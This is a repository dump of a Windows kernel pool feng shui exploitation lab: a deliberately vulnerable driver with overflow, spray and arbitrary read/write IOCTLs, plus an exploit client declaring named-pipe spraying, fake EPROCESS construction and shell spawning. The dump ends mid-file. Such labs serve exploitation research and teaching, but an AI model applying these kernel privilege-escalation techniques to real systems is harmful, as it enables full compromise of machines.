├── poolfs ├── poolfs │ ├── src │ │ ├── pdb_file.cpp │ │ ├── vuln.c │ │ ├── debug.c │ │ ├── pdb_utils.cpp │ │ ├── pdb_utils.h │ │ ├── nonpagedpool_utils.c │ │ ├── vuln_driver_client.c │ │ ├── pagedpool_utils.c │ │ ├── pdb_symbols.h │ │ ├── pdb_file.h │ │ ├── pipe_utils.c │ │ ├── utils.c │ │ ├── pdb_types.h │ │ ├── config.cpp │ │ └── pdb_symbols.cpp │ ├── includes │ │ ├── debug.h │ │ ├── logs.h │ │ ├── utils.h │ │ ├── vuln.h │ │ ├── pagedpool_utils.h │ │ ├── nonpagedpool_utils.h │ │ ├── pipe_utils.h │ │ ├── vuln_driver_client.h │ │ ├── Ioctl.h │ │ └── exploit.h │ ├── poolfs.vcxproj.user │ ├── poolfs.vcxproj.filters │ └── poolfs.vcxproj └── poolfs.sln ├── poolqudong ├── x64 │ └── Debug │ │ ├── poolqudong.cer │ │ ├── poolqudong.sys │ │ └── poolqudong │ │ └── poolqudong.sys ├── poolqudong │ ├── Driver.h │ ├── poolqudong.inf │ ├── poolqudong.vcxproj.filters │ ├── Ioctl.h │ ├── poolqudong.vcxproj │ └── Driver.cpp └── poolqudong.sln ├── .gitignore ├── vsclean.ps1 └── LICENSE /poolfs/poolfs/src/pdb_file.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cbwang505/poolfengshui/HEAD/poolfs/poolfs/src/pdb_file.cpp -------------------------------------------------------------------------------- /poolqudong/x64/Debug/poolqudong.cer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cbwang505/poolfengshui/HEAD/poolqudong/x64/Debug/poolqudong.cer -------------------------------------------------------------------------------- /poolqudong/x64/Debug/poolqudong.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cbwang505/poolfengshui/HEAD/poolqudong/x64/Debug/poolqudong.sys -------------------------------------------------------------------------------- /poolqudong/x64/Debug/poolqudong/poolqudong.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cbwang505/poolfengshui/HEAD/poolqudong/x64/Debug/poolqudong/poolqudong.sys -------------------------------------------------------------------------------- /poolfs/poolfs/includes/debug.h: -------------------------------------------------------------------------------- 1 | #ifndef DEBUG_H 2 | #define DEBUG_H 3 | 4 | #include 5 | 6 | unsigned int read_dword(uintptr_t where); 7 | 8 | 9 | #endif -------------------------------------------------------------------------------- /poolfs/poolfs/includes/logs.h: -------------------------------------------------------------------------------- 1 | #if TRUE 2 | #define LOG_DEBUG(fmt, ...) printf("[+] " fmt "\n", __VA_ARGS__) 3 | #else 4 | #define LOG_DEBUG(fmt, ...) do {} while(0) 5 | #endif 6 | -------------------------------------------------------------------------------- /poolfs/poolfs/poolfs.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /poolfs/poolfs/includes/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILS_H 2 | #define UTILS_H 3 | 4 | #include 5 | 6 | void hexdump(void *mem, unsigned int len); 7 | BOOL checkPrivilege(); 8 | DWORD getProcessId(const char *processname); 9 | void spawnShell(); 10 | DWORD GetPrivilege ( void ); 11 | 12 | 13 | #endif -------------------------------------------------------------------------------- /poolfs/poolfs/includes/vuln.h: -------------------------------------------------------------------------------- 1 | #ifndef VULN_H 2 | #define VULN_H 3 | 4 | #include "exploit.h" 5 | #include 6 | 7 | int init_vuln(); 8 | uintptr_t alloc_vuln(xploit_t * xploit); 9 | int trigger_vuln(xploit_t * xploit, char * pool_header_content, uintptr_t pool_header_size); 10 | int free_vuln(); 11 | 12 | #endif -------------------------------------------------------------------------------- /poolqudong/poolqudong/Driver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #define TAG_SYN 0x414e5953 6 | 7 | DRIVER_UNLOAD DriverUnload; 8 | DRIVER_DISPATCH IrpNotImplementedHandler; 9 | NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); 10 | NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); 11 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | -------------------------------------------------------------------------------- /poolqudong/poolqudong/poolqudong.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; poolqudong.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer= 11 | CatalogFile=poolqudong.cat 12 | PnpLockDown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | poolqudong.sys = 1,, 23 | 24 | [Manufacturer] 25 | %ManufacturerName%=Standard,NT$ARCH$ 26 | 27 | [Standard.NT$ARCH$] 28 | 29 | 30 | [Strings] 31 | ManufacturerName="" ;TODO: Replace with your manufacturer name 32 | ClassName="" 33 | DiskName="poolqudong Source Disk" 34 | -------------------------------------------------------------------------------- /poolfs/poolfs/includes/pagedpool_utils.h: -------------------------------------------------------------------------------- 1 | #ifndef PAGEDPOOL_UTILS_H 2 | #define PAGEDPOOL_UTILS_H 3 | 4 | #include "exploit.h" 5 | #include "pipe_utils.h" 6 | 7 | int pp_get_leak(xploit_t * xploit, pipe_spray_t * respray); 8 | void pp_setup_ghost_overwrite(xploit_t * xploit, char * ghost_overwrite_buf); 9 | void pp_alloc_ghost_chunk(xploit_t * xploit, char * buffer); 10 | void pp_alloc_fake_eprocess(xploit_t * xploit, char * fake_eprocess_buf); 11 | void pp_exploit_arbitrary_read(xploit_t * xploit, uintptr_t where, char * out, size_t size); 12 | void pp_free_ghost_chunk(xploit_t * xploit); 13 | void pp_setup_final_write(xploit_t * xploit, char * buffer); 14 | uintptr_t pp_find_file_object(xploit_t * xploit); 15 | 16 | #endif -------------------------------------------------------------------------------- /poolfs/poolfs/includes/nonpagedpool_utils.h: -------------------------------------------------------------------------------- 1 | #ifndef NONPAGEDPOOL_UTILS_H 2 | #define NONPAGEDPOOL_UTILS_H 3 | 4 | #include "exploit.h" 5 | #include "pipe_utils.h" 6 | 7 | int npp_get_leak(xploit_t * xploit, pipe_spray_t * respray); 8 | void npp_setup_ghost_overwrite(xploit_t * xploit, char * ghost_overwrite_buf); 9 | void npp_alloc_ghost_chunk(xploit_t * xploit, char * buffer); 10 | void npp_alloc_fake_eprocess(xploit_t * xploit, char * fake_eprocess_buf); 11 | void npp_exploit_arbitrary_read(xploit_t * xploit, uintptr_t where, char * out, size_t size); 12 | void npp_free_ghost_chunk(xploit_t * xploit); 13 | void npp_setup_final_write(xploit_t * xploit, char * buffer); 14 | uintptr_t npp_find_file_object(xploit_t * xploit); 15 | 16 | #endif -------------------------------------------------------------------------------- /poolfs/poolfs/src/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | #include "exploit.h" 5 | #include "vuln_driver_client.h" 6 | 7 | int init_vuln() 8 | { 9 | open_driver(); 10 | } 11 | 12 | uintptr_t alloc_vuln(xploit_t * xploit) 13 | { 14 | // VULN 15 | uintptr_t vuln = alloc_ioctl(xploit->targeted_vuln_size, xploit->targeted_pooltype, 0x4e4c5556); 16 | return vuln; 17 | } 18 | 19 | int trigger_vuln(xploit_t * xploit, char * overflow, uintptr_t overflow_size) 20 | { 21 | char string[0x1000]; 22 | 23 | memset(string, 0x44, 0x500); 24 | 25 | memcpy(string + xploit->targeted_vuln_size, overflow, overflow_size); 26 | 27 | overflow_ioctl(xploit->targeted_vuln_size + overflow_size, string); 28 | } 29 | 30 | int free_vuln() 31 | { 32 | free_ioctl(); 33 | } 34 | -------------------------------------------------------------------------------- /vsclean.ps1: -------------------------------------------------------------------------------- 1 | function Get-ScriptDirectory 2 | { 3 | Split-Path -Parent $PSCommandPath 4 | } 5 | 6 | function RemoveEmptyDir([string]$dir) 7 | { 8 | if (Test-Path $dir) 9 | { 10 | $parentdir = Split-Path -Path $dir -Parent 11 | $subitem = Get-ChildItem -Path $dir -Recurse -Force 12 | if ($subitem.Count -eq 0) 13 | { 14 | Write-Host $dir 15 | Remove-Item -Path $dir -Force -Recurse 16 | RemoveEmptyDir $parentdir 17 | } 18 | } 19 | } 20 | 21 | $dir = Get-ScriptDirectory 22 | $filter = @("*.aps", "*.idb", "*.ncb", "*.obj", "*.pch", "*.sbr", "*.tmp", "*.pdb", "*.bsc", "*.ilk", "*.res", "*.sdf", "*.dep", "*.ipch", "*.tlog", "*.exp", "*.hpj", "*.opt", "*.mdp", "*.plg", "*.clw", "*.vs", "*.recipe") 23 | $files = Get-ChildItem -Path $dir -Include $filter -Recurse -Force -File 24 | $deldir = Get-ChildItem -Path $dir -Include $filter -Recurse -Force -Directory 25 | $emptydir = Get-ChildItem -Path $dir -Recurse -Force -Directory 26 | Write-Host "[*]Phase Delete Clean File[*]" 27 | foreach ($file in $files) 28 | { 29 | Write-Host $file.FullName 30 | Remove-Item -Path $file.FullName -Force 31 | } 32 | Write-Host "[*]Phase Delete Clean Directory[*]" 33 | foreach ($dir in $deldir) 34 | { 35 | Write-Host $dir.FullName 36 | Remove-Item -Path $dir.FullName -Force -Recurse 37 | } 38 | Write-Host "[*]Phase Delete Empty Directory[*]" 39 | foreach ($dir in $emptydir) 40 | { 41 | RemoveEmptyDir $dir.FullName 42 | } 43 | Write-Host "[*]Clean All Done[*]" -------------------------------------------------------------------------------- /poolqudong/poolqudong/poolqudong.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Source Files 24 | 25 | 26 | 27 | 28 | Driver Files 29 | 30 | 31 | Driver Files 32 | 33 | 34 | -------------------------------------------------------------------------------- /poolfs/poolfs.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31829.152 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "poolfs", "poolfs\poolfs.vcxproj", "{CBA40C02-5384-4B60-9242-14B6B62CF375}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {CBA40C02-5384-4B60-9242-14B6B62CF375}.Debug|x64.ActiveCfg = Debug|x64 17 | {CBA40C02-5384-4B60-9242-14B6B62CF375}.Debug|x64.Build.0 = Debug|x64 18 | {CBA40C02-5384-4B60-9242-14B6B62CF375}.Debug|x86.ActiveCfg = Debug|Win32 19 | {CBA40C02-5384-4B60-9242-14B6B62CF375}.Debug|x86.Build.0 = Debug|Win32 20 | {CBA40C02-5384-4B60-9242-14B6B62CF375}.Release|x64.ActiveCfg = Release|x64 21 | {CBA40C02-5384-4B60-9242-14B6B62CF375}.Release|x64.Build.0 = Release|x64 22 | {CBA40C02-5384-4B60-9242-14B6B62CF375}.Release|x86.ActiveCfg = Release|Win32 23 | {CBA40C02-5384-4B60-9242-14B6B62CF375}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8565B76A-047D-45BE-8B8B-1ACB40B8B030} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/debug.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "vuln_driver_client.h" 5 | 6 | unsigned int read_dword(uintptr_t where) 7 | { 8 | int ret = 0; 9 | 10 | arbitrary_read(where, (char*)&ret, 4); 11 | return ret; 12 | } 13 | 14 | 15 | 16 | // DWORD64 get_addr_with_handle(HANDLE hObjectHandle) 17 | // { 18 | // NTSTATUS st; 19 | // PSYSTEM_EXTENDED_HANDLE_INFORMATION handleInfo; 20 | // ULONG handleInfoLen = 0x10000; 21 | // DWORD pid = GetCurrentProcessId(); 22 | // DWORD nMaxSearchTry = 0x100; 23 | 24 | // DWORD64 ret = 0; 25 | 26 | // if (g_pNtQuerySystemInformation == NULL) 27 | // { 28 | // HMODULE h = LoadLibraryA("ntdll.dll"); 29 | // g_pNtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(h, "NtQuerySystemInformation"); 30 | // CloseHandle(h); 31 | // } 32 | 33 | // for (UINT j = 0; j < nMaxSearchTry; j++) 34 | // { 35 | 36 | // handleInfoLen = 0x10000; 37 | // handleInfo = (PSYSTEM_EXTENDED_HANDLE_INFORMATION)malloc(handleInfoLen); 38 | // while ((st = g_pNtQuerySystemInformation( 39 | // SystemExtendedHandleInformation, 40 | // handleInfo, 41 | // handleInfoLen, 42 | // NULL 43 | // )) == STATUS_INFO_LENGTH_MISMATCH) 44 | // handleInfo = (PSYSTEM_EXTENDED_HANDLE_INFORMATION)realloc(handleInfo, handleInfoLen *= 2); 45 | 46 | 47 | // // NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH. 48 | // if (!NT_SUCCESS(st)) { 49 | // fprintf(stderr, "[-]NtQuerySystemInformation failed !"); 50 | // return 0; 51 | // } 52 | // for (UINT i = 0; i < handleInfo->NumberOfHandles; i++) 53 | // { 54 | // if (handleInfo->Handles[i].HandleValue == hObjectHandle && pid == handleInfo->Handles[i].UniqueProcessId) 55 | // { 56 | // ret = ((DWORD64)(handleInfo->Handles[i].Object)); 57 | // free(handleInfo); 58 | // return ret; 59 | // } 60 | // } 61 | // free(handleInfo); 62 | // } 63 | // return 0; 64 | // } -------------------------------------------------------------------------------- /poolqudong/poolqudong/Ioctl.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifdef _KERNEL_MODE 4 | #include 5 | #else 6 | #include 7 | #endif 8 | 9 | // #define IOCTL_ALLOC_SHELLCODE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) 10 | // #define IOCTL_RELEASE_SHELLCODE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) 11 | // #define IOCTL_COPY_SHELLCODE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) 12 | // #define IOCTL_EXECUTE_SHELLCODE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) 13 | 14 | #define IOCTL_ALLOC_BUFFER CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) 15 | #define IOCTL_COPY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) 16 | #define IOCTL_FREE_BUFFER CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) 17 | #define IOCTL_SPRAY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) 18 | #define IOCTL_UNSPRAY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS) 19 | 20 | #define IOCTL_READ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS) 21 | #define IOCTL_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS) 22 | #define IOCTL_BP CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS) 23 | 24 | 25 | typedef struct ioctl_arb_primitive{ 26 | size_t size; 27 | uintptr_t where; 28 | char what[1]; 29 | } ioctl_arb_primitive_t; 30 | 31 | typedef struct ioctl_alloc{ 32 | size_t alloc_size; 33 | POOL_TYPE pooltype; 34 | int tag; 35 | } ioctl_alloc_t; 36 | 37 | typedef struct ioctl_copy{ 38 | size_t buffer_size; 39 | char * data; 40 | } ioctl_copy_t; 41 | 42 | typedef struct ioctl_spray{ 43 | size_t alloc_size; 44 | size_t nb_allocs; 45 | POOL_TYPE pooltype; 46 | int tag; 47 | char what[1]; 48 | } ioctl_spray_t; 49 | 50 | typedef struct spray_s 51 | { 52 | size_t spray_index; 53 | size_t nb_allocs; 54 | size_t alloc_size; 55 | POOL_TYPE pooltype; 56 | int tag; 57 | void * allocs[1]; 58 | } spray_t; 59 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/pdb_utils.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * @file src/pdbparser/pdb_utils.cpp 3 | * @brief Utils 4 | * @copyright (c) 2017 Avast Software, licensed under the MIT license 5 | */ 6 | 7 | #include 8 | #include 9 | 10 | #include "pdb_info.h" 11 | #include "pdb_utils.h" 12 | 13 | namespace retdec { 14 | namespace pdbparser { 15 | 16 | PDB_PBYTE RecordValue(PDB_PBYTE pbData, PDB_PDWORD pdValue) 17 | { 18 | PDB_WORD wValue; 19 | PDB_DWORD dValue = -1; 20 | PDB_PBYTE pbText = nullptr; 21 | 22 | if (pbData != nullptr) 23 | { 24 | if ((wValue = *reinterpret_cast(pbData)) < LF_NUMERIC) 25 | { 26 | dValue = wValue; 27 | pbText = pbData + WORD_; 28 | } 29 | else 30 | { 31 | switch (wValue) 32 | { 33 | case LF_CHAR: 34 | { 35 | dValue = static_cast(*reinterpret_cast(pbData + WORD_)); 36 | pbText = pbData + WORD_ + CHAR_; 37 | break; 38 | } 39 | case LF_SHORT: 40 | { 41 | dValue = static_cast(*reinterpret_cast(pbData + WORD_)); 42 | pbText = pbData + WORD_ + SHORT_; 43 | break; 44 | } 45 | case LF_USHORT: 46 | { 47 | dValue = static_cast(*reinterpret_cast(pbData + WORD_)); 48 | pbText = pbData + WORD_ + USHORT_; 49 | break; 50 | } 51 | case LF_LONG: 52 | { 53 | dValue = *reinterpret_cast(pbData + WORD_); 54 | pbText = pbData + WORD_ + LONG_; 55 | break; 56 | } 57 | case LF_ULONG: 58 | { 59 | dValue = static_cast(*reinterpret_cast(pbData + WORD_)); 60 | pbText = pbData + WORD_ + ULONG_; 61 | break; 62 | } 63 | default: 64 | { 65 | // nothing ... 66 | break; 67 | } 68 | } 69 | } 70 | } 71 | if (pdValue != nullptr) 72 | *pdValue = dValue; 73 | return pbText; 74 | } 75 | 76 | // ----------------------------------------------------------------- 77 | 78 | void print_dwords(PDB_DWORD *data, int len) 79 | { 80 | int cnt = (len - 2) / 4; 81 | for (int i = 0; i < cnt; i++) 82 | { 83 | printf("%08x ", data[i]); 84 | } 85 | } 86 | 87 | void print_bytes(PDB_BYTE *data, int len) 88 | { 89 | for (int i = 0; i < len; i++) 90 | { 91 | printf("%02x", data[i]); 92 | } 93 | } 94 | 95 | } // namespace pdbparser 96 | } // namespace retdec 97 | -------------------------------------------------------------------------------- /poolfs/poolfs/includes/pipe_utils.h: -------------------------------------------------------------------------------- 1 | #ifndef PIPE_UTILS_H 2 | #define PIPE_UTILS_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | #define ATTRIBUTE_NAME "Z" 10 | #define ATTRIBUTE_NAME_LEN sizeof(ATTRIBUTE_NAME) 11 | 12 | #define DUMB_ATTRIBUTE_NAME "DUMB1" 13 | #define DUMB_ATTRIBUTE_NAME_LEN sizeof(DUMB_ATTRIBUTE_NAME) 14 | 15 | #define DUMB_ATTRIBUTE_NAME2 "DUMB2" 16 | #define DUMB_ATTRIBUTE_NAME2_LEN sizeof(DUMB_ATTRIBUTE_NAME2) 17 | 18 | #define LEN_OF_PIPE_ATTRIBUTE_STRUCT 0x28 19 | #define LEN_OF_PIPE_QUEUE_ENTRY_STRUCT 0x30 20 | 21 | 22 | typedef enum spray_type { 23 | SPRAY_PIPE_QUEUE_ENTRY, 24 | SPRAY_PIPE_ATTRIBUTE 25 | } spray_type_t; 26 | 27 | typedef struct pipe_pair{ 28 | HANDLE write; 29 | HANDLE read; 30 | } pipe_pair_t; 31 | 32 | typedef struct pipe_spray{ 33 | size_t nb; 34 | size_t bufsize; 35 | char * data_buf; 36 | spray_type_t type; 37 | pipe_pair_t pipes[1]; 38 | } pipe_spray_t; 39 | 40 | typedef struct pipe_attribute { 41 | LIST_ENTRY list; 42 | char * AttributeName; 43 | uint64_t ValueSize; 44 | char * AttributeValue; 45 | char data[0]; 46 | } pipe_attribute_t; 47 | 48 | typedef struct pipe_queue_entry { 49 | LIST_ENTRY list; 50 | uintptr_t field_10; 51 | uintptr_t security; 52 | unsigned long field_20; 53 | unsigned long remaining_bytes; 54 | unsigned long DataSize; 55 | unsigned long field_2C; 56 | char data[0]; 57 | } pipe_queue_entry_t; 58 | 59 | typedef struct pipe_queue_entry_sub { 60 | uint64_t unk; 61 | uint64_t unk1; 62 | uint64_t unk2; 63 | uint64_t data_ptr; 64 | }pipe_queue_entry_sub_t; 65 | 66 | 67 | int prepare_pipe(size_t bufsize, pipe_pair_t * pipe_pair); 68 | pipe_spray_t * prepare_pipes(size_t nb, size_t size, char * data, spray_type_t type); 69 | 70 | int spray_pipes(pipe_spray_t * pipe_spray); 71 | 72 | int write_pipe(pipe_pair_t * pipe_pair, char * data, size_t bufsize); 73 | int read_pipe(pipe_pair_t * pipe_pair, char * out, size_t bufsize); 74 | 75 | int set_pipe_attribute(pipe_pair_t *target_pipe, char * data, size_t size); 76 | int get_pipe_attribute(pipe_pair_t *target_pipe, char * out, size_t size); 77 | 78 | 79 | int read_pipes(pipe_spray_t * pipe_spray, char * leak); 80 | 81 | int close_pipe(pipe_pair_t * pipe_pair); 82 | void free_pipes(pipe_spray_t * pipe_spray); 83 | void free_third_pipes(pipe_spray_t *pipe_spray, int start); 84 | 85 | #endif 86 | -------------------------------------------------------------------------------- /poolfs/poolfs/includes/vuln_driver_client.h: -------------------------------------------------------------------------------- 1 | #ifndef VULN_DRIVER_CLIENT_H 2 | #define VULN_DRIVER_CLIENT_H 3 | 4 | #include "Ioctl.h" 5 | #include 6 | 7 | #define DRIVER_PATH "\\\\.\\vulnerable_driver" 8 | 9 | typedef enum _SYSTEM_INFORMATION_CLASS2 { 10 | SystemBasicInformation2 = 0, 11 | SystemPerformanceInformation2 = 2, 12 | SystemTimeOfDayInformation2 = 3, 13 | SystemProcessInformation2 = 5, 14 | SystemProcessorPerformanceInformation2 = 8, 15 | SystemModuleInformation2 = 11, 16 | SystemObjectInformation2 = 17, 17 | SystemInterruptInformation2 = 23, 18 | SystemExceptionInformation2 = 33, 19 | SystemRegistryQuotaInformation2 = 37, 20 | SystemLookasideInformation2 = 45, 21 | SystemExtendedHandleInformation2 = 64 22 | } SYSTEM_INFORMATION_CLASS2; 23 | 24 | // typedef struct _OBJECT_ATTRIBUTES { 25 | // DWORD64 Length; 26 | // HANDLE RootDirectory; 27 | // PUNICODE_STRING ObjectName; 28 | // DWORD64 Attributes; 29 | // PVOID SecurityDescriptor; 30 | // PVOID SecurityQualityOfService; 31 | // } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 32 | 33 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX 34 | { 35 | PVOID Object; 36 | ULONG_PTR UniqueProcessId; 37 | HANDLE HandleValue; 38 | ULONG GrantedAccess; 39 | USHORT CreatorBackTraceIndex; 40 | USHORT ObjectTypeIndex; 41 | ULONG HandleAttributes; 42 | ULONG Reserved; 43 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; 44 | 45 | typedef struct _SYSTEM_EXTENDED_HANDLE_INFORMATION 46 | { 47 | ULONG_PTR NumberOfHandles; 48 | ULONG_PTR Reserved; 49 | SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; 50 | } SYSTEM_EXTENDED_HANDLE_INFORMATION, *PSYSTEM_EXTENDED_HANDLE_INFORMATION; 51 | 52 | typedef NTSTATUS(__stdcall *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS2 SystemInformatioNClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL); 53 | 54 | DWORD64 getObjectAddressWithHandle(HANDLE hObjectHandle, UINT nMaxSearchTry); 55 | 56 | void open_driver(void); 57 | 58 | uintptr_t alloc_ioctl(size_t alloc_size, unsigned long pooltype, int tag); 59 | 60 | int overflow_ioctl(size_t buffer_size, char * data); 61 | 62 | void free_ioctl(); 63 | 64 | int spray(size_t alloc_size, size_t nb_allocs, unsigned long pooltype, unsigned long tag, bool log); 65 | 66 | int unspray(int spray_index); 67 | 68 | int arbitrary_write(uintptr_t where, char *what, size_t size); 69 | 70 | int arbitrary_read(uintptr_t where, char *what, size_t size); 71 | 72 | int bp(void); 73 | 74 | #endif 75 | -------------------------------------------------------------------------------- /poolfs/poolfs/includes/Ioctl.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #define IOCTL_ALLOC_BUFFER CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) 6 | #define IOCTL_COPY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) 7 | #define IOCTL_FREE_BUFFER CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) 8 | #define IOCTL_SPRAY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) 9 | #define IOCTL_UNSPRAY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS) 10 | 11 | #define IOCTL_READ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS) 12 | #define IOCTL_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS) 13 | #define IOCTL_BP CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS) 14 | 15 | 16 | typedef enum _POOL_TYPE { 17 | NonPagedPool, 18 | NonPagedPoolExecute = NonPagedPool, 19 | PagedPool, 20 | NonPagedPoolMustSucceed = NonPagedPool + 2, 21 | DontUseThisType, 22 | NonPagedPoolCacheAligned = NonPagedPool + 4, 23 | PagedPoolCacheAligned, 24 | NonPagedPoolCacheAlignedMustS = NonPagedPool + 6, 25 | MaxPoolType, 26 | NonPagedPoolBase = 0, 27 | NonPagedPoolBaseMustSucceed = NonPagedPoolBase + 2, 28 | NonPagedPoolBaseCacheAligned = NonPagedPoolBase + 4, 29 | NonPagedPoolBaseCacheAlignedMustS = NonPagedPoolBase + 6, 30 | NonPagedPoolSession = 32, 31 | PagedPoolSession = NonPagedPoolSession + 1, 32 | NonPagedPoolMustSucceedSession = PagedPoolSession + 1, 33 | DontUseThisTypeSession = NonPagedPoolMustSucceedSession + 1, 34 | NonPagedPoolCacheAlignedSession = DontUseThisTypeSession + 1, 35 | PagedPoolCacheAlignedSession = NonPagedPoolCacheAlignedSession + 1, 36 | NonPagedPoolCacheAlignedMustSSession = PagedPoolCacheAlignedSession + 1, 37 | NonPagedPoolNx = 512, 38 | NonPagedPoolNxCacheAligned = NonPagedPoolNx + 4, 39 | NonPagedPoolSessionNx = NonPagedPoolNx + 32 40 | } POOL_TYPE; 41 | 42 | typedef struct ioctl_arb_primitive{ 43 | size_t size; 44 | uintptr_t where; 45 | char what[1]; 46 | } ioctl_arb_primitive_t; 47 | 48 | typedef struct ioctl_alloc{ 49 | size_t alloc_size; 50 | POOL_TYPE pooltype; 51 | int tag; 52 | } ioctl_alloc_t; 53 | 54 | typedef struct ioctl_copy{ 55 | size_t buffer_size; 56 | char * data; 57 | } ioctl_copy_t; 58 | 59 | typedef struct ioctl_spray{ 60 | size_t alloc_size; 61 | size_t nb_allocs; 62 | POOL_TYPE pooltype; 63 | int tag; 64 | char what[1]; 65 | } ioctl_spray_t; 66 | 67 | typedef struct spray_s 68 | { 69 | size_t spray_index; 